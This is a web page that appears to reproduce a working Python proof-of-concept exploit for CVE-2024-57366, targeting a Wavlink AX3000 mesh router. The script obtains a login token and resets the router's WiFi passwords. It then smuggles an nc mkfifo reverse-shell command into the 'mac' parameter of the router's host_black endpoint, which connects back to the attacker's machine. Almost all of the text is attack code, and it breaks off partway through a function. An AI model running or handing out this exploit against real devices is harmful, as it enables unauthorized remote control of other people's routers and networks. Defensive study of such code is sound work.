4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
#!/usr/bin/env python3
"""
CVE-2024-57366 Exploit - Simplified Version
This script exploits a vulnerability by making two POST requests:
1. First request extracts authentication tokens
2. Second request uses the token to execute a reverse shell payload
"""

import argparse
import hashlib
import requests
import json
import sys
import urllib.parse
import subprocess
import os
import time
import re

# MAC address cache file (simple text format)
MAC_CACHE_FILE = "successful_macs.txt"

def load_successful_macs():
    """Load successful MAC addresses from cache file"""
    successful_macs = []
    if os.path.exists(MAC_CACHE_FILE):
        try:
            with open(MAC_CACHE_FILE, 'r') as f:
                for line in f:
                    line = line.strip()
                    if line and not line.startswith('#'):
                        # Format: MAC_ADDRESS TARGET_IP [TIMESTAMP]
                        parts = line.split()
                        if len(parts) >= 2:
                            mac = parts[0]
                            target_ip = parts[1]
                            timestamp = float(parts[2]) if len(parts) > 2 else time.time()
                            successful_macs.append({"mac": mac, "target_ip": target_ip, "timestamp": timestamp})
        except Exception as e:
            print(f"[-] Error reading MAC cache file: {e}")
    return successful_macs

def save_successful_mac(mac_address, target_ip):
    """Save a successful MAC address to cache file"""
    successful_macs = load_successful_macs()
    
    # Add new MAC if not already present
    mac_entry = {"mac": mac_address, "target_ip": target_ip, "timestamp": time.time()}
    if not any(entry["mac"] == mac_address and entry["target_ip"] == target_ip for entry in successful_macs):
        successful_macs.append(mac_entry)
        
        try:
            with open(MAC_CACHE_FILE, 'w') as f:
                f.write("# CVE-2024-57366 Successful MAC Addresses\n")
                f.write("# Format: MAC_ADDRESS TARGET_IP TIMESTAMP\n")
                f.write("# You can manually add entries here\n\n")
                for entry in successful_macs:
                    timestamp_str = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(entry["timestamp"]))
                    f.write(f"{entry['mac']} {entry['target_ip']} {entry['timestamp']} # {timestamp_str}\n")
            print(f"[+] MAC address {mac_address} saved to cache for future quick exploits")
        except Exception as e:
            print(f"[-] Failed to save MAC address to cache: {e}")

def get_cached_mac_for_target(target_ip):
    """Get a cached MAC address for the target IP"""
    successful_macs = load_successful_macs()
    
    # Find MAC addresses for this target (prefer recent ones)
    target_macs = [entry for entry in successful_macs if entry["target_ip"] == target_ip]
    if target_macs:
        # Sort by timestamp (most recent first)
        target_macs.sort(key=lambda x: x["timestamp"], reverse=True)
        return target_macs[0]["mac"]
    return None

def list_cached_macs():
    """List all cached MAC addresses"""
    successful_macs = load_successful_macs()
    if not successful_macs:
        print("[+] No cached MAC addresses found")
        return
    
    print("[+] Cached MAC addresses:")
    for entry in successful_macs:
        timestamp_str = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(entry["timestamp"]))
        print(f"    {entry['mac']} -> {entry['target_ip']} (cached: {timestamp_str})")

def quick_exploit_with_cached_mac(target_ip, port, local_ip, local_port, password, cached_mac):
    """Perform quick exploit using cached MAC address"""
    print(f"[+] Using cached MAC address: {cached_mac}")
    print(f"[+] Skipping WiFi connection - using cached MAC for quick exploit")
    
    # Step 1: Get authentication token
    print(f"[+] Getting authentication token...")
    token = retrieve_token(target_ip, port, password, local_ip, local_port)
    if not token:
        print("[-] Failed to get authentication token")
        return False
    
    # Step 2: Execute exploit directly
    print(f"[+] Executing exploit with cached MAC...")
    success = inject_command(target_ip, port, token, local_ip, local_port, cached_mac)
    
    if success:
        print(f"[+] Quick exploit completed successfully!")
        print(f"[+] Reverse shell should connect to {local_ip}:{local_port}")
        return True
    else:
        print(f"[-] Quick exploit failed - cached MAC may no longer be valid")
        return False


def detect_wireless_adapters():
    """
    Detect available wireless adapters on the system, including USB WiFi adapters.
    Returns a list of (interface_name, mac_address, device_type) tuples.
    """
    print("[+] Detecting wireless adapters...")
    
    wireless_adapters = []
    
    try:
        # Method 1: Check for wireless interfaces using iw command
        try:
            iw_result = subprocess.run(["iw", "dev"], capture_output=True, text=True, timeout=10)
            if iw_result.returncode == 0:
                for line in iw_result.stdout.split('\n'):
                    if 'Interface' in line:
                        interface_name = line.split()[1]
                        # Get MAC address for this interface
                        mac_result = subprocess.run(["ip", "link", "show", interface_name], capture_output=True, text=True, timeout=5)
                        if mac_result.returncode == 0:
                            mac_match = re.search(r'link/ether ([0-9a-fA-F:]{17})', mac_result.stdout)
                            if mac_match:
                                mac_address = mac_match.group(1).upper()
                                wireless_adapters.append((interface_name, mac_address, "wireless"))
        except Exception as e:
            print(f"[+] iw command failed: {e}")
        
        # Method 2: Check for USB WiFi adapters using lsusb
        try:
            lsusb_result = subprocess.run(["lsusb"], capture_output=True, text=True, timeout=10)
            if lsusb_result.returncode == 0:
                usb_wifi_found = False
                for line in lsusb_result.stdout.split('\n'):
                    line_lower = line.lower()
                    if any(keyword in line_lower for keyword in ['wireless', 'wifi', '802.11', 'realtek', 'ralink', 'atheros', 'broadcom', 'intel']):
                        usb_wifi_found = True
                
                if not usb_wifi_found:
                    print("[+] No obvious USB WiFi adapters found in lsusb output")
        except Exception as e:
            print(f"[+] lsusb command failed: {e}")
        
        # Method 3: Check for wireless interfaces using ip link (broader search)
        result = subprocess.run(["ip", "link", "show"], capture_output=True, text=True, timeout=10)
        if result.returncode == 0:
            current_interface = None
            for line in result.stdout.split('\n'):
                # Look for interface lines (e.g., "2: wlan0: <BROADCAST,MULTICAST,UP,LOWER_UP>")
                if ': ' in line and ':' in line.split(':')[0]:
                    parts = line.split(':')
                    if len(parts) >= 2:
                        interface_name = parts[1].strip()
                        # Check if it's a wireless interface (expanded patterns)
                        if interface_name.startswith(('wlan', 'wlp', 'wifi', 'wlx', 'wlo', 'wls')):
                            current_interface = interface_name
                # Look for MAC address lines
                elif 'link/ether' in line and current_interface:
                    mac_match = re.search(r'link/ether ([0-9a-fA-F:]{17})', line)
                    if mac_match:
                        mac_address = mac_match.group(1).upper()
                        # Check if we already found this interface via iw
                        if not any(adapter[0] == current_interface for adapter in wireless_adapters):
                            wireless_adapters.append((current_interface, mac_address, "ethernet-like"))
                            print(f"[+] Found wireless adapter: {current_interface} ({mac_address})")
                    current_interface = None
        
        # Method 4: Check for wireless devices in /sys/class/net
        print("[+] Checking /sys/class/net for wireless devices...")
        try:
            net_result = subprocess.run(["ls", "/sys/class/net/"], capture_output=True, text=True, timeout=10)
            if net_result.returncode == 0:
                for interface in net_result.stdout.split():
                    if interface.startswith(('wlan', 'wlp', 'wifi', 'wlx', 'wlo', 'wls')):
                        # Check if it's actually a wireless device
                        wireless_check = subprocess.run(["cat", f"/sys/class/net/{interface}/type"], capture_output=True, text=True, timeout=5)
                        if wireless_check.returncode == 0 and wireless_check.stdout.strip() == "1":  # Type 1 = ARPHRD_ETHER, but could be wireless
                            # Get MAC address
                            mac_result = subprocess.run(["ip", "link", "show", interface], capture_output=True, text=True, timeout=5)
                            if mac_result.returncode == 0:
                                mac_match = re.search(r'link/ether ([0-9a-fA-F:]{17})', mac_result.stdout)
                                if mac_match:
                                    mac_address = mac_match.group(1).upper()
                                    if not any(adapter[0] == interface for adapter in wireless_adapters):
                                        wireless_adapters.append((interface, mac_address, "sys-detected"))
                                        print(f"[+] Found wireless adapter via sys: {interface} ({mac_address})")
        except Exception as e:
            print(f"[+] sys check failed: {e}")
        
        # Method 5: Check for wireless modules/drivers
        print("[+] Checking for wireless drivers...")
        try:
            modules_result = subprocess.run(["lsmod"], capture_output=True, text=True, timeout=10)
            if modules_result.returncode == 0:
                wireless_drivers = []
                for line in modules_result.stdout.split('\n'):
                    line_lower = line.lower()
                    if any(keyword in line_lower for keyword in ['rtl', 'ath', 'brcm', 'iwl', 'wl', 'rt2800', 'rtl8', 'rtw']):
                        driver_name = line.split()[0]
                        if driver_name not in wireless_drivers:
                            wireless_drivers.append(driver_name)
                
                if not wireless_drivers:
                    print("[+] No obvious wireless drivers loaded")
        except Exception as e:
            print(f"[+] lsmod check failed: {e}")
    
    except Exception as e:
        print(f"[-] Error detecting wireless adapters: {e}")
    
    # Remove duplicates and return
    unique_adapters = []
    seen_interfaces = set()
    for adapter in wireless_adapters:
        if adapter[0] not in seen_interfaces:
            unique_adapters.append(adapter)
            seen_interfaces.add(adapter[0])
    
    return unique_adapters


def generate_userid(password):
    """Generate userid parameter using MD5 hash of 'admin' + password"""
    return hashlib.md5(b"admin" + password.encode()).hexdigest()


def logout_request(target_ip, port):
    """Make a logout request to mimic JavaScript Date.now() behavior"""
    timestamp = int(time.time() * 1000)  # JavaScript Date.now() equivalent
    url = f"http://{target_ip}:{port}/protocol.csp?fname=system&opt=login&function=get"
    
    headers = {
        "Host": f"{target_ip}:{port}",
        "Content-Length": "0",
        "X-Requested-With": "XMLHttpRequest",
        "Accept-Language": "en-US,en;q=0.9",
        "Accept": "application/json, text/javascript, */*; q=0.01",
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36",
        "Origin": f"http://{target_ip}:{port}",
        "Referer": f"http://{target_ip}:{port}/login_rt_ax3000.html?tt={timestamp}?reject=overtime",
        "Accept-Encoding": "gzip, deflate, br",
        "Cookie": "i18next=en_US; lstatus=false",
        "Connection": "keep-alive"
    }
    
    try:
        response = requests.post(url, headers=headers, timeout=10)
        print(f"[+] Logout response status code: {response.status_code}")
        return response.status_code == 200
    except requests.exceptions.RequestException as e:
        print(f"[-] Logout request failed: {e}")
        return False


def reset_wifi_password(target_ip, port, token, password):
    """Reset WiFi password to match admin password"""
    print(f"[+] Resetting WiFi password to: {password}")
    
    url = f"http://{target_ip}:{port}/protocol.csp"
    
    headers = {
        "Host": f"{target_ip}:{port}",
        "Content-Length": "0",
        "X-Requested-With": "XMLHttpRequest",
        "Accept-Language": "en-US,en;q=0.9",
        "Accept": "application/json, text/javascript, */*; q=0.01",
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36",
        "Origin": f"http://{target_ip}:{port}",
        "Referer": f"http://{target_ip}:{port}/html/wfSetting.html",
        "Accept-Encoding": "gzip, deflate, br",
        "Cookie": f"i18next=en_US; lstatus=true; token={token}",
        "Connection": "keep-alive"
    }
    
    # Reset 2.4GHz WiFi password
    params_2g = {
        "token": token,
        "fname": "net",
        "opt": "wifi_ap",
        "function": "set",
        "ssid": "WAVLINK-Mesh_DC4B",
        "password": password,
        "authmode": "1",
        "channel": "0",
        "need_restart": "1",  # Force restart to apply password change
        "hidden2g": "0",
        "bandwidth": "1",
        "twt2g": "0",
        "ofdma2g": "0"
    }
    
    try:
        response = requests.post(url, params=params_2g, headers=headers, timeout=10)
        
        if response.status_code == 200:
            try:
                response_data = response.json()
                if response_data.get("error") == 0:
                    time.sleep(30)  # Wait for router restart
                else:
                    return False
            except json.JSONDecodeError:
                return False
        
        # Reset 5GHz WiFi password
        params_5g = {
            "token": token,
            "fname": "net",
            "opt": "wifi_ap_5g",
            "function": "set",
            "ssid": "WAVLINK-Mesh_DC4B",
            "password": password,
            "authmode": "1",
            "channel": "0",
            "dfs": "1",  # DFS parameter required for 5GHz
            "need_restart": "1",  # Force restart to apply password change
            "hidden5g": "0",
            "bandwidth": "1",
            "skiplist": "132;136;140;144;149;153;157;161;165;",  # Channel skip list for 5GHz
            "twt5g": "0",
            "ofdma5g": "0"
        }
        
        response = requests.post(url, params=params_5g, headers=headers, timeout=10)
        print(f"[+] 5GHz Response status code: {response.status_code}")
        
        if response.status_code == 200:
            try:
                response_data = response.json()
                print(f"[+] 5GHz WiFi reset response: {response_data}")
                if response_data.get("error") == 0:
                    print(f"[+] 5GHz WiFi password reset successful!")
                    print(f"[+] Both 2.4GHz and 5GHz WiFi passwords reset successfully!")
                    print(f"[+] Router may restart to apply 5GHz changes, waiting 30 seconds...")
                    time.sleep(30)  # Wait for router restart
                    return True
                else:
                    print(f"[-] 5GHz WiFi password reset failed, but 2.4GHz succeeded")
                    print(f"[+] Continuing with 2.4GHz WiFi only...")
                    return True  # Continue even if 5GHz fails
            except json.JSONDecodeError:
                print(f"[-] Invalid JSON response for 5GHz reset")
                print(f"[+] Continuing with 2.4GHz WiFi only...")
                return True  # Continue even if 5GHz fails
        
        return False
        
    except requests.exceptions.RequestException as e:
        print(f"[-] WiFi password reset request failed: {e}")
        return False


def connect_to_wifi_isolated(interface_name, mac_address, ssid, password):
    """
    Connect to WiFi using existing adapter while preserving existing network connections.
    This function creates an isolated connection that doesn't interfere with other network interfaces.
    """
    print(f"[+] Connecting to WiFi with {interface_name} ({mac_address}) in isolated mode")
    
    # Store original network state
    original_routes = None
    original_dns = None
    
    try:
        # Step 1: Backup current network state
        print(f"[+] Backing up current network state...")
        try:
            # Backup routes (but don't modify them yet)
            route_result = subprocess.run(["ip", "route", "show"], capture_output=True, text=True, timeout=5)
            if route_result.returncode == 0:
                original_routes = route_result.stdout
                print(f"[+] Backed up {len(original_routes.splitlines())} routes")
        except Exception as e:
            print(f"[+] Could not backup routes: {e}")
        
        try:
            # Backup DNS configuration
            with open("/etc/resolv.conf", "r") as f:
                original_dns = f.read()
            print(f"[+] Backed up DNS configuration")
        except Exception as e:
            print(f"[+] Could not backup DNS: {e}")
        
        # Step 2: Check if interface is up
        link_result = subprocess.run(["ip", "link", "show", interface_name], capture_output=True, text=True, timeout=5)
        if link_result.returncode != 0:
            print(f"[-] Interface {interface_name} not found or not accessible")
            return False, mac_address
        
        # Step 3: Bring up the interface
        if "state DOWN" in link_result.stdout or "DORMANT" in link_result.stdout:
            print(f"[+] Interface {interface_name} is down or dormant, bringing it up...")
            up_result = subprocess.run(["ip", "link", "set", interface_name, "up"], capture_output=True, text=True, timeout=5)
            if up_result.returncode != 0:
                print(f"[-] Failed to bring up interface {interface_name}: {up_result.stderr}")
                # Check if it's already up
                if "File exists" in up_result.stderr or "already up" in up_result.stderr.lower():
                    print(f"[+] Interface {interface_name} is already up, continuing...")
                else:
                    return False, mac_address
            time.sleep(2)  # Give it more time to come up
        
        # Step 4: Check RF-kill status
        rfkill_result = subprocess.run(["rfkill", "list"], capture_output=True, text=True, timeout=5)
        if rfkill_result.returncode == 0 and "wifi" in rfkill_result.stdout.lower():
            print(f"[+] Checking RF-kill status...")
            if "blocked" in rfkill_result.stdout.lower():
                print(f"[+] WiFi is blocked, unblocking...")
                subprocess.run(["rfkill", "unblock", "wifi"], capture_output=True, timeout=5)
                time.sleep(1)
        
        # Step 5: Stop any existing wireless processes on this interface only
        print(f"[+] Stopping existing wireless processes on {interface_name}...")
        subprocess.run(["pkill", "-f", f"wpa_supplicant.*{interface_name}"], capture_output=True, timeout=5)
        subprocess.run(["pkill", "-f", f"dhclient.*{interface_name}"], capture_output=True, timeout=5)
        time.sleep(1)

        # Step 6: Create wpa_supplicant configuration (isolated)
        wpa_config = f"""
network={{
    ssid="{ssid}"
    psk="{password}"
    key_mgmt=WPA-PSK
    # Try 5GHz band first (since we just reset 5GHz password successfully)
    freq_list=5180 5200 5220 5240 5260 5280 5300 5320 5500 5520 5540 5560 5580 5600 5620 5640 5660 5680 5700 5720 5745 5765 5785 5805 5825
    # Don't change default route
    priority=1
}}
"""
        config_file = f"/tmp/wpa_supplicant_{interface_name}.conf"
        with open(config_file, "w") as f:
            f.write(wpa_config)

        # Step 7: Connect to WiFi using wpa_supplicant (isolated)
        print(f"[+] Connecting to WiFi network '{ssid}' using {interface_name} (isolated mode)...")
        wpa_supplicant_cmd = [
            "wpa_supplicant",
            "-B",
            "-i",
            interface_name,
            "-c",
            config_file,
            "-D", "nl80211",  # Use nl80211 driver
            "-f", "/tmp/wpa_supplicant.log",  # Log file for debugging
        ]
        result = subprocess.run(wpa_supplicant_cmd, capture_output=True, text=True, timeout=10)
        if result.returncode != 0:
            print(f"[-] wpa_supplicant failed to start: {result.stderr}")
            return False, mac_address
        print(f"[+] wpa_supplicant started successfully")

        # Step 8: Wait for connection with more robust checking
        connected = False
        print(f"[+] Waiting for WiFi connection to '{ssid}'...")
        
        for i in range(10):  # Increased attempts and time
            time.sleep(3)
            status_cmd = ["wpa_cli", "-i", interface_name, "status"]
            status_result = subprocess.run(status_cmd, capture_output=True, text=True, timeout=5)
            
            if status_result.returncode != 0:
                print(f"[-] wpa_cli status failed: {status_result.stderr}")
                continue
                
            status_output = status_result.stdout.strip()
            print(f"[+] Connection attempt {i+1}/10")
            
            if "wpa_state=COMPLETED" in status_output:
                # Verify we're connected to the right network
                if ssid in status_output:
                    print(f"[+] WiFi connection successful to '{ssid}'!")
                    connected = True
                    break
                else:
                    print(f"[+] Connected but to wrong network, continuing...")
            elif "wpa_state=INACTIVE" in status_output and "address=" in status_output:
                # Check if we just completed a connection (INACTIVE can mean connected but idle)
                # Look for connection success in the log
                try:
                    with open("/tmp/wpa_supplicant.log", "r") as f:
                        log_content = f.read()
                        if "CTRL-EVENT-CONNECTED" in log_content and ssid in log_content:
                            print(f"[+] WiFi connection successful to '{ssid}' (detected via log)!")
                            connected = True
                            break
                except:
                    pass
            elif "wpa_state=SCANNING" in status_output:
                print(f"[+] Still scanning for networks...")
            elif "wpa_state=ASSOCIATING" in status_output:
                print(f"[+] Associating with network...")
            elif "wpa_state=4WAY_HANDSHAKE" in status_output:
                print(f"[+] Performing 4-way handshake...")
            elif "wpa_state=AUTHENTICATING" in status_output:
                print(f"[+] Authenticating...")
            elif "wpa_state=DISCONNECTED" in status_output:
                print(f"[+] Disconnected, retrying...")
                # Try to reconnect
                subprocess.run(["wpa_cli", "-i", interface_name, "reconnect"], capture_output=True, timeout=5)
            else:
                print(f"[+] Connection state: {status_output}")

        if not connected:
            # Check if we had a successful connection in the log (even if brief)
            print(f"[+] Checking for successful connection in log...")
            try:
                with open("/tmp/wpa_supplicant.log", "r") as f:
                    log_content = f.read()
                    if "CTRL-EVENT-CONNECTED" in log_content and ssid in log_content:
                        print(f"[+] WiFi connection was successful to '{ssid}' (detected in log)!")
                        print(f"[+] MAC address should be registered with the router")
                        connected = True
                        # Extract the actual MAC address that connected
                        for line in log_content.split('\n'):
                            if "address=" in line and "uuid=" in line:
                                actual_mac = line.split('address=')[1].split()[0]
                                print(f"[+] Actual connected MAC address: {actual_mac}")
                                # Update the MAC address for the exploit
                                mac_address = actual_mac.upper()
                                break
                    else:
                        print(f"[-] No successful connection found in log")
            except:
                print(f"[+] Could not read wpa_supplicant log")
        
        if not connected:
            print(f"[-] WiFi connection failed after 10 attempts")
            # Try to get more debugging info
            print(f"[+] Debugging information:")
            try:
                with open("/tmp/wpa_supplicant.log", "r") as f:
                    log_content = f.read()
                    print(f"[+] wpa_supplicant log (last 20 lines):")
                    for line in log_content.split('\n')[-20:]:
                        if line.strip():
                            print(f"[+]   {line}")
            except:
                print(f"[+] Could not read wpa_supplicant log")
            
            scan_result = subprocess.run(["wpa_cli", "-i", interface_name, "scan"], capture_output=True, text=True, timeout=5)
            print(f"[+] Scan result: {scan_result.stdout.strip()}")
            time.sleep(2)
            scan_results = subprocess.run(["wpa_cli", "-i", interface_name, "scan_results"], capture_output=True, text=True, timeout=5)
            print(f"[+] Available networks: {scan_results.stdout.strip()}")
            return False, mac_address

        # Step 9: Get IP address via DHCP (without changing default route)
        print(f"[+] Attempting to get IP address (preserving existing routes)...")
        
        # Try multiple DHCP methods
        dhcp_success = False
        
        # Method 1: dhclient with longer timeout
        try:
            dhcp_cmd = ["dhclient", "-v", interface_name, "-s", "0.0.0.0", "-t", "30"]  # 30 second timeout
            result = subprocess.run(dhcp_cmd, capture_output=True, text=True, timeout=35)
            if result.returncode == 0:
                print(f"[+] DHCP succeeded with dhclient!")
                dhcp_success = True
            else:
                print(f"[-] dhclient failed, trying dhcpcd...")
        except subprocess.TimeoutExpired:
            print(f"[-] dhclient timed out, trying dhcpcd...")
        
        # Method 2: dhcpcd if dhclient failed
        if not dhcp_success:
            try:
                dhcp_cmd = ["dhcpcd", "-t", "30", interface_name]  # 30 second timeout
                result = subprocess.run(dhcp_cmd, capture_output=True, text=True, timeout=35)
                if result.returncode == 0:
                    print(f"[+] DHCP succeeded with dhcpcd!")
                    dhcp_success = True
                else:
                    print(f"[-] dhcpcd also failed")
            except subprocess.TimeoutExpired:
                print(f"[-] dhcpcd also timed out")
        
        # Check if we got an IP address
        if dhcp_success:
            ip_result = subprocess.run(["ip", "addr", "show", interface_name], capture_output=True, text=True, timeout=5)
            if "inet " in ip_result.stdout:
                print(f"[+] Interface {interface_name} has IP address")
                # Extract the IP address
                for line in ip_result.stdout.split('\n'):
                    if "inet " in line and "scope global" in line:
                        ip_addr = line.split()[1].split('/')[0]
                        print(f"[+] Got IP address: {ip_addr}")
                        break
            else:
                print(f"[+] No IP address assigned, but DHCP succeeded")
        else:
            print(f"[-] All DHCP methods failed, but connection may still be established")

        # Step 10: Verify connection without affecting other interfaces
        print(f"[+] Verifying isolated connection...")
        link_status = subprocess.run(["wpa_cli", "-i", interface_name, "status"], capture_output=True, text=True, timeout=5)
        if "wpa_state=COMPLETED" in link_status.stdout:
            print(f"[+] Isolated WiFi connection successful!")
            print(f"[+] Your existing network connections remain unchanged")
            return True, mac_address
        else:
            print(f"[-] Connection verification failed")
            return False, mac_address

    except subprocess.TimeoutExpired:
        print(f"[-] WiFi connection timed out")
        return False, mac_address
    except Exception as e:
        print(f"[-] WiFi connection failed with error: {e}")
        return False, mac_address
    finally:
        # Clean up config file
        try:
            subprocess.run(
                ["rm", "-f", f"/tmp/wpa_supplicant_{interface_name}.conf"], capture_output=True
            )
        except:
            pass


def disconnect_wifi_cleanly(interface_name):
    """
    Cleanly disconnect from WiFi and restore network state.
    This ensures no interference with existing network connections.
    """
    print(f"[+] Cleaning up WiFi connection on {interface_name}...")
    
    try:
        # Step 1: Disconnect from WiFi
        print(f"[+] Disconnecting from WiFi...")
        subprocess.run(["wpa_cli", "-i", interface_name, "disconnect"], capture_output=True, timeout=5)
        time.sleep(2)
        
        # Step 2: Stop wpa_supplicant
        print(f"[+] Stopping wpa_supplicant...")
        subprocess.run(["pkill", "-f", f"wpa_supplicant.*{interface_name}"], capture_output=True, timeout=5)
        time.sleep(1)
        
        # Step 3: Stop DHCP client
        print(f"[+] Stopping DHCP client...")
        subprocess.run(["pkill", "-f", f"dhclient.*{interface_name}"], capture_output=True, timeout=5)
        time.sleep(1)
        
        # Step 4: Bring down the interface
        print(f"[+] Bringing down interface {interface_name}...")
        subprocess.run(["ip", "link", "set", interface_name, "down"], capture_output=True, timeout=5)
        
        # Step 5: Clean up any temporary files
        print(f"[+] Cleaning up temporary files...")
        subprocess.run(["rm", "-f", f"/tmp/wpa_supplicant_{interface_name}.conf"], capture_output=True, timeout=5)
        
        print(f"[+] WiFi cleanup completed successfully")
        print(f"[+] Your existing network connections remain intact")
        
    except Exception as e:
        print(f"[-] WiFi cleanup failed: {e}")
        # Try to force cleanup
        try:
            subprocess.run(["pkill", "-f", f"wpa_supplicant.*{interface_name}"], capture_output=True, timeout=5)
            subprocess.run(["pkill", "-f", f"dhclient.*{interface_name}"], capture_output=True, timeout=5)
            subprocess.run(["ip", "link", "set", interface_name, "down"], capture_output=True, timeout=5)
        except:
            pass


def retrieve_token(target_ip, port, password, local_ip, local_port):
    """Make the exploit request to extract authentication token"""
    userid = generate_userid(password)
    
    url = f"http://{target_ip}:{port}/protocol.csp"
    
    headers = {
        "Host": f"{target_ip}:{port}",
        "Content-Length": "0",
        "X-Requested-With": "XMLHttpRequest",
        "Accept-Language": "en-US,en;q=0.9",
        "Accept": "application/json, text/javascript, */*; q=0.01",
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36",
        "Origin": f"http://{target_ip}:{port}",
        "Referer": f"http://{target_ip}:{port}/login_rt_ax3000.html?tt={int(time.time() * 1000)}?reject=overtime",
        "Accept-Encoding": "gzip, deflate, br",
        "Cookie": "i18next=en_US; lstatus=false",
        "Connection": "keep-alive"
    }
    
    params = {
        "fname": "system",
        "opt": "login",
        "function": "set",
        "usrid": userid
    }
    
    # Try to use eth0 interface first (like BurpSuite proxy behavior)
    try:
        import subprocess
        result = subprocess.run(['ip', 'addr', 'show', 'eth0'], capture_output=True, text=True, timeout=5)
        if result.returncode == 0 and 'inet ' in result.stdout:
            print(f"[+] Using eth0 interface for token request to preserve original network context")
            full_url = f"{url}?" + "&".join([f"{k}={v}" for k, v in params.items()])
            
            curl_cmd = [
                'curl', '-s', '-X', 'POST',
                '-H', f'Host: {target_ip}:{port}',
                '-H', 'Content-Length: 0',
                '-H', 'X-Requested-With: XMLHttpRequest',
                '-H', 'Accept-Language: en-US,en;q=0.9',
                '-H', 'Accept: application/json, text/javascript, */*; q=0.01',
                '-H', 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36',
                '-H', f'Origin: http://{target_ip}:{port}',
                '-H', f'Referer: http://{target_ip}:{port}/login_rt_ax3000.html?tt={int(time.time() * 1000)}?reject=overtime',
                '-H', 'Accept-Encoding: gzip, deflate, br',
                '-H', 'Cookie: i18next=en_US; lstatus=false',
                '-H', 'Connection: keep-alive',
                '--compressed',
                '--interface', 'eth0',
                full_url
            ]
            
            result = subprocess.run(curl_cmd, capture_output=True, text=True, timeout=15)
            if result.returncode == 0 and result.stdout:
                try:
                    response_data = json.loads(result.stdout)
                    if "token" in response_data:
                        token = response_data["token"]
                        print(f"[+] SUCCESS! Extracted token: {token}")
                        return token
                    else:
                        print(f"[-] No token found in response")
                        print(f"[-] Response: {response_data}")
                        return None
                except json.JSONDecodeError:
                    print(f"[-] Invalid JSON response from curl")
                    return None
            else:
                print(f"[-] Curl request failed")
                return None
        else:
            raise Exception("eth0 not available")
    except Exception as e:
        print(f"[+] Falling back to standard requests for token: {e}")
    
    try:
        print(f"[+] Sending POST request to: {url}")
        print(f"[+] Headers: {headers}")
        print(f"[+] Params: {params}")
        response = requests.post(url, params=params, headers=headers, timeout=10)
        print(f"[+] Response status code: {response.status_code}")
        
        if response.status_code == 200:
            try:
                response_data = response.json()
                if "token" in response_data:
                    token = response_data["token"]
                    print(f"[+] SUCCESS! Extracted token: {token}")
                    return token
                else:
                    print(f"[-] No token found in response")
                    print(f"[-] Response: {response_data}")
                    return None
            except json.JSONDecodeError:
                print(f"[-] Invalid JSON response")
                return None
        else:
            print(f"[-] Request failed with status code: {response.status_code}")
            return None
            
    except requests.exceptions.RequestException as e:
        print(f"[-] Request failed with error: {e}")
        return None


def inject_command(target_ip, port, token, local_ip, local_port, mac_address):
    """Inject reverse shell command using the extracted token"""
    print(f"[+] Injecting reverse shell command...")
    print(f"[+] Using token: {token}")
    
    # Create the command payload - use bash TCP reverse shell
    # This is the most reliable method for reverse shells
    command = f'{mac_address}\\"%20%26%26$(rm%20-rf%20/tmp/f%20%26%26%20mkfifo%20/tmp/f%20%26%26%20cat%20/tmp/f|/bin/sh%20-i%202>%261|nc%20{local_ip}%20{local_port}%20>/tmp/f)'
    
    print(f"[+] Command payload: {command}")
    print(f"[+] MAC address: {mac_address}")
    print(f"[+] Local IP: {local_ip}, Local Port: {local_port}")
    
    url = f"http://{target_ip}/protocol.csp"
    
    headers = {
        "Host": f"{target_ip}",
        "Content-Length": "0",
        "X-Requested-With": "XMLHttpRequest",
        "Accept-Language": "en-US,en;q=0.9",
        "Accept": "application/json, text/javascript, */*; q=0.01",
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36",
        "Origin": f"http://{target_ip}",
        "Referer": f"http://{target_ip}/html/terminal.html",
        "Accept-Encoding": "gzip, deflate, br",
        "Cookie": f"i18next=en_US; lstatus=true; token={token}",
        "Connection": "keep-alive"
    }
    
    # Build URL exactly like BurpSuite - token in URL path, not params
    full_url = f"{url}?token={token}&fname=net&opt=host_black&function=set&mac={command}&index=1"
    print(f"[+] Full URL: {full_url}")
    
    # No params needed since everything is in the URL
    params = {}
    
    # Create a session to maintain connection state like BurpSuite
    session = requests.Session()
    
    # Try to make the request through the original network interface (eth0) if it exists
    # This emulates BurpSuite's proxy behavior by preserving the original network context
    try:
        import subprocess
        # Check if eth0 exists and has an IP
        result = subprocess.run(['ip', 'addr', 'show', 'eth0'], capture_output=True, text=True, timeout=5)
        if result.returncode == 0 and 'inet ' in result.stdout:
            print(f"[+] eth0 interface found with IP - using it for request to preserve original network context")
            # Use curl with interface binding to make the request through eth0
            curl_cmd = [
                'curl', '-s', '-X', 'POST',
                '-H', f'Host: {target_ip}',
                '-H', 'Content-Length: 0',
                '-H', 'X-Requested-With: XMLHttpRequest',
                '-H', 'Accept-Language: en-US,en;q=0.9',
                '-H', 'Accept: application/json, text/javascript, */*; q=0.01',
                '-H', 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36',
                '-H', f'Origin: http://{target_ip}',
                '-H', f'Referer: http://{target_ip}/html/terminal.html',
                '-H', 'Accept-Encoding: gzip, deflate, br',
                '-H', f'Cookie: i18next=en_US; lstatus=true; token={token}',
                '-H', 'Connection: keep-alive',
                '--compressed',  # Handle gzip/deflate compression
                '--interface', 'eth0',
                full_url
            ]
            
            print(f"[+] Using curl with eth0 interface to preserve original network context")
            print(f"[+] Command: {' '.join(curl_cmd)}")
            
            try:
                result = subprocess.run(curl_cmd, capture_output=True, text=True, timeout=15)
                print(f"[+] Curl response status: {result.returncode}")
                print(f"[+] Curl response: {result.stdout}")
                
                if result.returncode == 0 and result.stdout:
                    try:
                        response_data = json.loads(result.stdout)
                        print(f"[+] Response JSON: {response_data}")
                        
                        if "error" in response_data:
                            error_code = response_data["error"]
                            if error_code == 0:
